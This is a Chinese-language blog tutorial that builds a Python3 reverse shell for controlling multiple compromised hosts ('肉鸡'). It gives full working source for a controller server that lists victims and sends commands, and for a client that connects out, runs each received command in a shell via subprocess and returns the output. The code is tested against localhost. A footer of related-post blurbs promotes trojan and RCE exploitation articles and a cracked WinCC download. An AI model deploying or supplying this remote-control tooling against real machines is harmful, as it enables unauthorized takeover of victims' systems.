Python3 实现可控制肉鸡的反向Shell

程序员:利用Python实现可控制肉鸡的反向Shell 一、初识 1.1 用 Python 实现一个可以管理多个肉鸡的反向 Shell,为什么叫反向 Shell 呢?反向就是肉鸡作为 Client 主动连接到我们的 Server 端,以实现对多个远程主机的管理! 学习技能: 了解TCP协议 了解C/S结构程序设计 Python socket模块的使用 Python subprocess模块的使用 二、理论基础 以下内容... 阅读详情

Python3 实现可控制肉鸡的反向Shell

一、初识

1.1 用 Python 实现一个可以管理多个肉鸡的反向 Shell,为什么叫反向 Shell 呢?反向就是肉鸡作为 Client 主动连接到我们的 Server 端,以实现对多个远程主机的管理!

学习技能:

  1. 了解TCP协议
  2. 了解C/S结构程序设计
  3. Python socket模块的使用
  4. Python subprocess模块的使用

1.2效果图

 

二、理论基础

以下内容整理自百度百科,参考链接:

2.1 C/S结构程序设计

C/S 结构,即大家熟知的客户机和服务器结构。它是软件系统体系结构,通过它可以充分利用两端硬件环境的优势,将任务合理分配到Client端和Server端来实现,降低了系统的通讯开销。目前大多数应用软件系统都是Client/Server形式的两层结构,由于现在的软件应用系统正在向分布式的Web应用发展,Web和Client/Server 应用都可以进行同样的业务处理,应用不同的模块共享逻辑组件;因此,内部的和外部的用户都可以访问新的和现有的应用系统,通过现有应用系统中的逻辑可以扩展出新的应用系统。这也就是目前应用系统的发展方向。

本次实验就是基于C/S结构的一个应用。很多有名的远程控制工具都是基于C/S结构开发的,比如:灰鸽子、冰河、teamViewer等等。但是我们应该将肉鸡端作为Server还是Client呢?通常情况下是将Client作为控制端,Server作为被控端。这里我们将采用反向连接的方式,将Server作为控制端,Client作为被控端。当然,这两种方式都可以实现我们本次实验的功能。这里我采用反向连接的方式主要是考虑到肉鸡在内网中,我们是无法直接连接到被控端的。如果用反向连接的方式,尽管被控端在内网中,只要我们不在内网中,或者我们做了内网端口映射、动态域名等处理之后,被控端都是可以连接到主控端的。虽然我们在内网中也要进行相应的设置,不过主动权在我们这里总比被控端需要设置这些更方便。

2.2 TCP(传输控制协议)

TCP提供一种面向连接的、可靠的字节流服务。面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据包之前必须先建立一个TCP连接。这一过程与打电话很相似,先拨号振铃,等待对方摘机说“喂”,然后才说明是谁。在一个TCP连接中,仅有两方进行彼此通信,而且广播和多播不能用于TCP。由于这里需要传输的数据量比较小,对传输效率影响不大,而且Tcp相对来说比较稳定!所以本次实验课程将采用Tcp协议来实现多客户端的反向Shell。

2.3 可控制肉鸡反向Shell实现方案

本次实验将基于Tcp实现一个C/S结构的应用,Client作为被控端主动连接控制端,Server作为控制端则等待肉鸡连接。具体实现方案如下:

Server(控制端)

Server作为控制端,我们首先要用Python的Socket模块监听本地端口,并等待被控端连接,由于我们要实现多个肉鸡的反向Shell,所以我们需要 维护连接的主机列表,并选择当前要发送命令的肉机,接下来我们就可以通过socket给指定的主机发送Shell命令了。

Client(被控端)

Client作为被控端,首先我们要通过Python的Socket模块连接到控制端,之后只要一直等待控制端发送Shell命令就可以了,当接收到控制端发送的命令之后,用Python的subprocess模块执行Shell命令,并将执行命令的结果用socket发送给控制端。

三、代码实现

看了上面这么多理论知识,同学们是不是觉得有些厌烦了?别急,现在同学们就跟着我的思路来看一下代码的实现过程。另外说一下,在这里我可能会把被控端叫作肉鸡,意思其实是完全被我们控制的主机。在这里我们可以把肉鸡(机)和被控端当成一回事来看待,因为你能获得主机的Shell一般就可以完全控制这台主机了。

3.1 控制端(Server)

控制端需要实现等待被控端连接、给被控端发送Shell命令,并且可以选择和切换当前要接收Shell命令的肉鸡(被控端)。所以,首先我们需要创建一个socket对象,并监听7676端口,代码如下:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建一个Tcp Socket
s.bind(('0.0.0.0',7676)) #绑定7676端口,并与允许来自任意地址的连接
s.listen(1024) #开始监听端口

可能大家都比较熟悉socket的用法,这里我只说一下创建socket对象时两个参数的含义,一般我都会在代码的注释中同时解释每段代码的含义。socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议,也就是说我们创建了一个基于IPv4协议的Tcp Server。 接下来当有肉鸡连接的时候我们需要获取肉机的socket,并记录起来,以便和肉鸡进行通信。我们先来看下代码:

def wait_connect(sk):
    global clientList
    while not quitThread:
        if len(clientList) == 0:
            print('Waiting for the connection......')
        sock, addr = sk.accept()
        print('New client %s is connection!' % (addr[0]))
        lock.acquire()
        clientList.append((sock, addr))
        lock.release()

当有多个肉机连接到控制端时,我们要记录肉机的socket对象,以便我们可以选择不同的操作对象,我们再来看一看是怎样实现选择已经连接的肉机,代码如下:

clientList = []             #连接的客户端列表
curClient = None            #当前的客户端

def select_client():        #选择客户端
    global clientList
    global curClient

    for i in range(len(clientList)):    #输出已经连接到控制端的肉机地址
        print('[%i]-> %s' % (i, str(clientList[i][1][0])))
    print('Please select a client!')

    while True:
        num = input('client num:')      #等待输入一个待选择地址的序号
        if int(num) >= len(clientList):
            print('Please input a correct num!')
            continue
        else:
            break

    curClient = clientList[int(num)]    #将选择的socket对象存入curClient中

通过记录已经连接肉鸡的socket,并将选择的socket赋值给curClient就实现了多客户端的选择。 现在我们就可以实现命令的发送和接收了:

def shell_ctrl(socket,addr):                #负责发送Shell命令和接收结果
    while True:
        com = input(str(addr[0]) + ':~#')   #等待输入命令
        if com == '!ch':                    #切换肉机命令
            select_client()
            return
        if com == '!q':                     #退出控制端命令
            exit(0)
        socket.send(com.encode('utf-8'))    #发送命令的字节码
        data = socket.recv(1024)            #接收反回的结果
        print(data.decode('utf-8'))         #输出结果

这里有一点需要注意一下,这里我们对接收和发送统一都用utf-8进行编码和解码,同样在客户端中也采用同样的编码才会保证接收和发送的结果正确。至于发送命令这部分主要就是等待用户输入命令然后判断是不是切换肉鸡或者是退出命令,如果不是就把命令发送给客户端。到此我们的控制端基本的组成部分就实现完成了!

3.2 被控端(Client)

被控端需要实现连接到控制端、执行控制端发送过来的命令并将执行命令后的结果发送给控制端。与控制端相比被控端要简单的多,下面我们就用一个函数来实现上面我们提到的功能,代码如下:

def connectHost(ht,pt): 
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #创建socket对象
    sock.connect((ht,int(pt)))  #主机的指定端口
    while True:
        data = sock.recv(1024)  #接收命令
        data = data.decode('utf-8') #对命令解码
        #执行命令
        comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        #获取命令执行结果
        m_stdout, m_stderr = comRst.communicate()
        #将执行命令结果编码后发送给控制端
        sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
        time.sleep(1)
    sock.close()

通过这一个函数就实现了被控端的所有功能,是不是很简单?这个函数的核心其实就是subprocess.Popen()这个函数,这里我简单介绍一下。subprocess.Popen()可以实现在一个新的进程中启动一个子程序,第一个参数就是子程序的名字,shell=True则是说明程序在Shell中执行。至于stdout、stderr、stdin的值都是subprocess.PIPE,则表示用管道的形式与子进程交互。还有一个需要注意的地方就是在给控制端发送命令执行结果的时候,这里先将结果用本地系统编码的方式进行解码,然后又用utf-8进行编码,以避免被控端编码不是utf-8时,控制端接收到的结果显示乱码。

至此我们就将控制端和被控端都实现完了,代码很容易理解,代码量也不多。下面我们来整合全部代码!

四、完整代码

本节将会展示完整代码,在 /home/shiyanlou/ 目录下新建 server 文件夹

4.1 控制端

在 /home/shiyanlou/server 目录下新建 server.py文件,并向其中写入如下代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import threading

clientList = []             #连接的客户端列表
curClient = None            #当前的客户端
quitThread = False          #是否退出线程
lock = threading.Lock()

def shell_ctrl(socket,addr):
    while True:
        com = input(str(addr[0]) + ':~#')
        if com == '!ch':
            select_client()
            return
        if com == '!q':
            quitThread = True
            print('-----------------------* Connection has ended *--------------------------')
            exit(0)
        socket.send(com.encode('utf-8'))
        data = socket.recv(1024)
        print(data.decode('utf-8'))


def select_client():
    global clientList
    global curClient
    print('--------------* The current is connected to the client: *----------------')
    for i in range(len(clientList)):
        print('[%i]-> %s' % (i, str(clientList[i][1][0])))
    print('Please select a client!')

    while True:
        num = input('client num:')
        if int(num) >= len(clientList):
            print('Please input a correct num!')
            continue
        else:
            break

    curClient = clientList[int(num)]

    print('=' * 80)
    print(' ' * 20 + 'Client Shell from addr:', curClient[1][0])
    print('=' * 80)

def wait_connect(sk):
    global clientList
    while not quitThread:
        if len(clientList) == 0:
            print('Waiting for the connection......')
        sock, addr = sk.accept()
        print('New client %s is connection!' % (addr[0]))
        lock.acquire()
        clientList.append((sock, addr))
        lock.release()

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',7676))
    s.listen(1024)

    t = threading.Thread(target=wait_connect,args=(s,))
    t.start()

    while True:
        if len(clientList) > 0:
            select_client()  # 选择一个客户端
            shell_ctrl(curClient[0],curClient[1]) #处理shell命令



if __name__ == '__main__':
    main()

4.2 被控端

在 /home/shiyanlou/server 目录下新建 client.py文件,并向其中写入如下代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket
import subprocess
import argparse
import sys
import time
import threading

def connectHost(ht,pt):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ht,int(pt)))
    while True:
        data = sock.recv(1024)
        data = data.decode('utf-8')
        comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        m_stdout, m_stderr = comRst.communicate()
        sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
        time.sleep(1)
    sock.close()


def main():
    parser = argparse.ArgumentParser()  #命令行参数解析对象
    parser.add_argument('-H',dest='hostName',help='Host Name')
    parser.add_argument('-p',dest='conPort',help='Host Port')

    args = parser.parse_args()          #解析命令行参数
    host = args.hostName
    port = args.conPort

    if host == None and port == None:
        print(parser.parse_args(['-h']))
        exit(0)

    connectHost(host,port)              #连接到控制端


if __name__ == '__main__':
    main()

我在被控端的main()函数中使用了命令行解析模块argparse,有不懂得怎么用的同学,可以看一下我的另一个课程Python 实现 FTP 弱口令扫描器,或者查看Python的官方文档,来学习argparse的用法。

至此我们的代码就全部完成了!当然这只是反向Shell的核心,如果同学们对反向Shell有兴趣,可以继续完善想要的功能。

五、程序测试

现在我们来测试我们的程序是否达到了我们想要的功能。在编写好代码之后首先运行我们的控制端脚本,效果如下图所示:

 

控制端脚本运行之后首先会等待被控端的连接,只有被控端连接之后,我们才可以对控制端进行命令的输入。所以,同学们快跟着我把被控端脚本运行起来吧!运行后的效果如下图所示:

 

忘了告诉大家了,被控端运行是需要给定要连接的ip地址和端口号的,如果运行时给的参数不全,会提示你参数的帮助信息。这样做也是方便被控端可以连接到不同地址的主机。这回我运行被控端脚本的时候可千万别忘了加上参数了!这里我们都是在实验楼的实验环境中测试,所以我们就连接本地地址127.0.0.1和控制端监听的端口7676。运行之后让我们看一下控制端是否可以看到有新的连接加入!控制端效果如下图所示:

 

可以看到控制端已经知道有新的连接加入了,并且提示我们选择一个client,目前只有一个连接,我么那只能选择提示的序号0,不过我们这里要先测试一下输入超出范围的序号会有怎样的结果:

 

输入序号1之后提示我们输入一个正确的序号,好吧!现在我们就输入一个提示的序号0,看看会有什么结果:

 

终于看到我们想要的界面了,现在我们就可以进行命令的输入了!开始吧,输入一个大家都比较熟悉的命令ls /:

 

可以看到程序确实返回了正确的结果,接下来同学们就来试试自己熟悉的命令吧!

六、总结

通过本次实验的学习,我们应该掌握以下知识点:

  1. socket服务端程序的编写方法
  2. socket客户端程序的编写方法
  3. 利用Python的subprocess模块执行Shell命令
  4. 反向Shell的基本实现思路

七、参考文献

从WebShell到反弹Shell:内网穿透与持久化攻防实战 在网络安全领域,远程命令执行是攻击者获取系统控制权的关键技术。其核心原理在于通过网络协议建立通信通道,将目标主机的Shell会话重定向至攻击者控制的服务器。这项技术的价值在于突破了传统防火墙对入站连接的严格限制,利用出站流量策略相对宽松的特点,实现隐蔽的远程控制。在实际应用场景中,它常被用于渗透测试中的内网横向移动、权限维持以及模拟高级持续性威胁攻击。本文聚焦于反弹Shell与内网穿透技术的结合,详细解析了如何利用FRP等工具穿透复杂网络环境,并探讨了WebShell的多种实现方式及其在对抗检测时的隐蔽技巧 阅读详情

相关推荐

反弹端口木马:从TCP反向连接到进程隐藏的攻防实践

在网络安全领域,远程控制与通信是核心概念。其原理通常基于客户端/服务器模型,通过特定协议建立连接。TCP协议因其可靠性,常被用于实现稳定的远程命令执行。这种技术的价值在于能够穿透网络边界,实现远程管理或渗透测试。在应用场景上,它常被用于系统运维、安全评估,但也可能被恶意软件利用。本文聚焦于反弹端口木马,这是一种通过让受控端主动外联来绕过防火墙限制的技术。文中深入探讨了其通信机制、持久化手段(如注册表启动项)以及进程伪装等隐蔽技术,并提供了基于Python的实现示例与防御视角,帮助读者在理解攻击原理的同时,构

weixin_30781433的博客 406

如何调用python中的shell脚本?

本文从多个角度分析了如何在Python中调用Shell脚本,以及如何在Shell脚本中调用Python程序,同时还介绍了Python和Shell脚本之间的参数传递和数据传递。其中,'./test.sh'是要执行的Shell脚本的路径。其中,'test.py'是要调用的Python程序的文件名,$(python test.py)表示执行Python程序并返回执行结果。其中,'./test.sh'是要执行的Shell脚本的路径,shell=True表示需要在Shell环境下执行命令。

m0_59236127的博客 3330

CVE-2019-12725漏洞复现:ZeroShell防火墙远程命令执行攻防剖析

远程命令执行(RCE)是Web应用安全领域的核心威胁之一,其原理在于应用程序未对用户输入进行充分验证和净化,导致攻击者能够将恶意代码注入服务器端执行。这种漏洞的技术价值在于它直接突破了应用逻辑层,往往能获取服务器操作系统的高权限控制能力,危害性极高。在防火墙、VPN网关等网络边界设备的Web管理界面中,若存在此类漏洞,攻击者便可绕过所有边界防护规则,直接掌控关键基础设施。本文以CVE-2019-12725为例,深入剖析一个真实的**高危漏洞**如何在**ZeroShell防火墙**的Web管理接口中被触发和

chunqingtai2922的博客 332

python网络编程---TCP协议进行

在这里简单实现一个TCP服务器,用于监听来自客户端的连接,接收客户端发送的消息,并向客户端发送响应消息。下面我将详细解释这个代码的工作原理和各个部分的作用。首先建立一个客户端(client),一个服务端(server),在客户端进行连接到运行在本地机器(IP地址为。然后建立一个服务端(server)监听本地机器上的8080端口,等待客户端的连接,并与连接的客户端进行双向通信。客户端通过标准输入接收用户输入的消息,将这些消息发送给服务器,并接收来自服务器的响应。)上的TCP服务器,该服务器监听。

W030321的博客 2440

CVE-2017-17733漏洞复现:从原理到实战的MACCMS远程命令执行分析

远程命令执行(RCE)是Web安全领域危害性极高的漏洞类型,它允许攻击者在目标服务器上直接执行任意系统命令,从而完全控制服务器。其原理通常源于应用程序对用户输入的处理不当,例如未经过滤或校验就将用户可控的数据传递给系统命令执行函数(如PHP的system、exec)或动态代码执行函数(如eval、call_user_func)。这类漏洞的技术价值在于其直接突破了应用层边界,实现了从Web应用到操作系统层面的权限跃迁,常被用于植入后门、窃取数据或作为内网渗透的跳板。在内容管理系统(CMS)、Web框架等需要动

weixin_30521161的博客 375

使用Python来执行Shell脚本

Shell脚本可以在Linux系统下用于自动化执行一些命令或者程序,而Python可以很好地与Shell脚本进行交互,可以方便地通过Python脚本来执行Shell脚本。该脚本会输出"Hello World"。无论你使用哪种方法,它们都能够很好地与Shell脚本进行交互,并且可以帮助你自动化执行一些命令和程序。函数可以执行任意的Shell命令。在这个例子中,它执行了名为。使用Python来执行Shell脚本。

qq_37934722的博客 2129

探索TCP协议的奥秘:Python中的网络通信

在网络通信的世界里,TCP协议(传输控制协议)就如同一座桥梁,连接着数据的发送方和接收方。作为一名拥有20年实战经验的编码专家,我深知TCP协议在构建稳定、可靠的网络应用中的重要性。今天,我将带领大家一起深入了解TCP协议的特点,并展示如何在Python中利用这些特点来实现高效的网络通信。

qq_44771627的博客 707

STM32F103C8T6心电采集实战:从PCB设计到上位机开发的完整指南(附TI杯开源资料)

本文详细介绍了基于STM32F103C8T6的心电采集系统开发全流程,从PCB设计到上位机开发,特别适合大学生电子设计大赛参赛者参考。内容涵盖硬件设计精要、软件算法优化及上位机开发技巧,并附TI杯开源资料,帮助开发者低成本实现医疗级心电信号采集。

kafka6courier的博客 193

20 个最频繁使用的 Python 代码片段

文章来源:菜鸟学python在本文中,将分享20 个 Python 代码片段,以帮助你应对日常编程挑战。你可能已经知道其中一些片段,但有些其他片段对你来说可能是新的。赶紧使用这些有用的 Python 代码片段提升你的编程技能吧。

Saki_Python的博客 235

Mediapipe手势识别实战——基于关节角度计算实现动态手势分类

本文详细介绍了如何利用Mediapipe进行手势识别,通过计算手指关节弯曲角度实现动态手势分类。文章从基础原理出发,讲解了关节角度计算的数学方法,并提供了Python实现代码。同时,还分享了数字手势和OK手势的识别实战经验,以及性能优化和工程实践中的关键技巧,帮助开发者快速掌握实时手势识别技术。

weixin_26891599的博客 402

RK3576平台Buildroot嵌入式Linux镜像构建实战

嵌入式Linux镜像构建是连接硬件能力与软件功能的核心技术环节,其本质是基于目标SoC架构的交叉编译、内核定制与根文件系统集成过程。原理上依赖工具链适配、设备树绑定、分区镜像生成等关键步骤,技术价值在于实现轻量、确定、可复现的系统交付。典型应用场景涵盖ARM64开发板(如RK3576)、工业边缘网关及国产化信创终端。本文以TaishanPi-3为载体,深入解析Buildroot在RK3576平台上的配置裁剪、并行编译优化、genimage分区合成及update.img烧录准备,覆盖从环境选型(Ubuntu

weixin_36047538的博客 138

Python实例题:Python3实现可控制肉鸡的反向Shell

Python3实现可控制肉鸡的反向Shell。

shangzhiqi的博客 385

USB 3.0 高清音视频采集芯片——MS2130

MS2130 是一款 USB 3.0 高清视频和音频采集芯片,内部集成 USB3.0 Device 控制器、数据收发模块、音视频处理模块。

YOU_SeMi的博客 7857

2024年Python最全程序员:利用Python实现可控制肉鸡的反向Shell(1)

2.2 TCP(传输控制协议)TCP提供一种面向连接的、可靠的字节流服务。面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据包之前必须先建立一个TCP连接。这一过程与打电话很相似,先拨号振铃,等待对方摘机说“喂”,然后才说明是谁。在一个TCP连接中,仅有两方进行彼此通信,而且广播和多播不能用于TCP。由于这里需要传输的数据量比较小,对传输效率影响不大,而且Tcp相对来说比较稳定!所以本次实验课程将采用Tcp协议来实现多客户端的反向Shell。

2401_84562962的博客 583

ADS2023实战:手把手教你用Load-Pull设计40W LDMOS功率放大器(附工程文件)

本文以飞思卡尔MRF8P9040N LDMOS晶体管为例,详细介绍了在ADS 2023中设计一款40W功率放大器(PA)的全流程。内容涵盖从直流偏置设置、稳定性分析、核心的负载牵引(Load-Pull)仿真,到基于Smith圆图的匹配网络设计、谐波平衡性能验证,直至版图生成与优化。文章提供了手把手的实战指导和工程文件,旨在帮助射频工程师掌握高效率PA的设计方法与关键技巧。

cake8的博客 1070

【电路设计实战】BUCK降压电路:从原理到PCB布局的降噪与效率优化

本文深入剖析了BUCK降压电路的工作原理,并针对其固有的开关噪声问题,提供了从核心元件选型到PCB布局的全面优化方案。文章重点探讨了电感、电容等关键元件的选型要点,强调了低ESR电容和肖特基二极管的重要性,并详细阐述了如何通过最小化功率回路、保护敏感信号线等PCB布局实战技巧,有效抑制噪声、提升效率与稳定性。

weixin_29304021的博客 217

用python写一个程序控制其它软件_程序员:利用Python实现可控制肉鸡的反向Shell...

一、初识1.1 用 Python 实现一个可以管理多个肉鸡的反向 Shell,为什么叫反向 Shell 呢?反向就是肉鸡作为 Client 主动连接到我们的 Server 端,以实现对多个远程主机的管理!学习技能:了解TCP协议了解C/S结构程序设计Python socket模块的使用Python subprocess模块的使用1.2效果图二、理论基础以下内容整理自百度百科,参考链接:C/S结构T...

weixin_39530437的博客 1319

【软件测试】人工智能(AI)在软件测试领域的应用

AI在软件测试领域的应用使测试过程更加自动化、高效和智能。它可以帮助测试团队减轻负担,更快地识别和修复问题,最终提高软件的质量和可靠性。随着AI技术的不断进步,未来AI在软件测试领域的应用将更加广泛和深入。

weixin_46453070的博客 4382

Python3实现反向Shell

https://blog.youkuaiyun.com/qq_34356800/article/details/82890543 Server(控制端) 控制端需要实现等待被控端连接、给被控端发送Shell命令,并且可以选择和切换当前要接收Shell命令的肉鸡(被控端)。所以,首先我们需要创建一个socket对象,并监听7676端口,代码如下: s = socket.socket(socket.AF_...

子曰小玖的博客 641

YOLO11 锚框机制全解析:从改进 K-means 聚类到自适应优化,附多场景实战(附代码)

摘要 YOLO11的锚框机制采用"自适应、动态化、场景感知"的设计理念,通过数据驱动的锚框生成、多尺度感知分配和实时优化策略,显著提升目标检测性能。相较于早期YOLO版本,YOLO11的锚框完全基于训练集目标分布自适应生成,并引入智能分配策略,使不同尺寸目标获得最优匹配。技术架构包含自适应锚框生成、多尺度分配器和动态优化模块,通过改进的K-means聚类和交并比计算实现精准匹配。YOLO11锚框机制在检测精度、训练稳定性和场景适应性方面均有显著提升,为复杂场景下的目标检测提供更优解决方案

本博客聚焦 YOLOv11 全流程落地,涵盖架构优化、数据集处理、训练技巧与多场景部署,兼及国产数据库、Java 开发与 AI 模型应用,内容兼顾理论与工程实践,为开发者提供系统干货,助力高效提升技术能力。 1318

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

网络安全实战:从漏洞、Webshell到内网渗透的攻防核心解析

网络安全的核心在于理解攻防对抗的基本原理。漏洞是攻击的起点,本质上是软件或系统中的设计缺陷,攻击者利用这些缺陷获取未授权访问。其中,SQL注入、反序列化漏洞等是常见的高危类型,例如在动态SQL中使用${}进行字符串拼接极易引发注入风险。攻击者一旦突破防线,往往会通过植入Webshell或后门建立持久控制,Webshell作为隐藏在Web目录中的脚本,提供了图形化的远程控制能力,常通过流量分析进行检测。在攻防深化阶段,内网渗透和横向移动成为关键,攻击者利用漏洞、弱口令或信任关系在内部网络扩散。理解这些核心概念

weixin_33858336的博客 423

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

python数据分析项目化教程,python数据分析项目总结

这样才能把学会的Python 知识用起来,不断地提高。不管学习哪门语言都希望能做出实际的东西来,这个实际的东西当然就是项目啦。不用多说大家都知道学编程语言一定要做项目才行。大家好,给大家分享一下python数据分析项目案例财政收入预测分析,很多人还不知道这一点。然后对编程的兴趣就会慢慢消退,找不到坚持下去的理由,从而慢慢淡忘之前学会的编程知识。所以找到自己感兴趣、能够跟着动手和学习的 Python 项目是特别重要的❗❗❗。这里整理了70个Python实战项目列表,都有完整且详细的教程。

Leospanb的博客 1025

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

上一篇: C++ 使用 Crypto++ 库实现常用的加密算法
下一篇: 那些没出现在近几年顶会NeurIPS 2019 与 ICLR 2020上的重要论文
git1314
博客等级 码龄9年 282粉丝 114原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值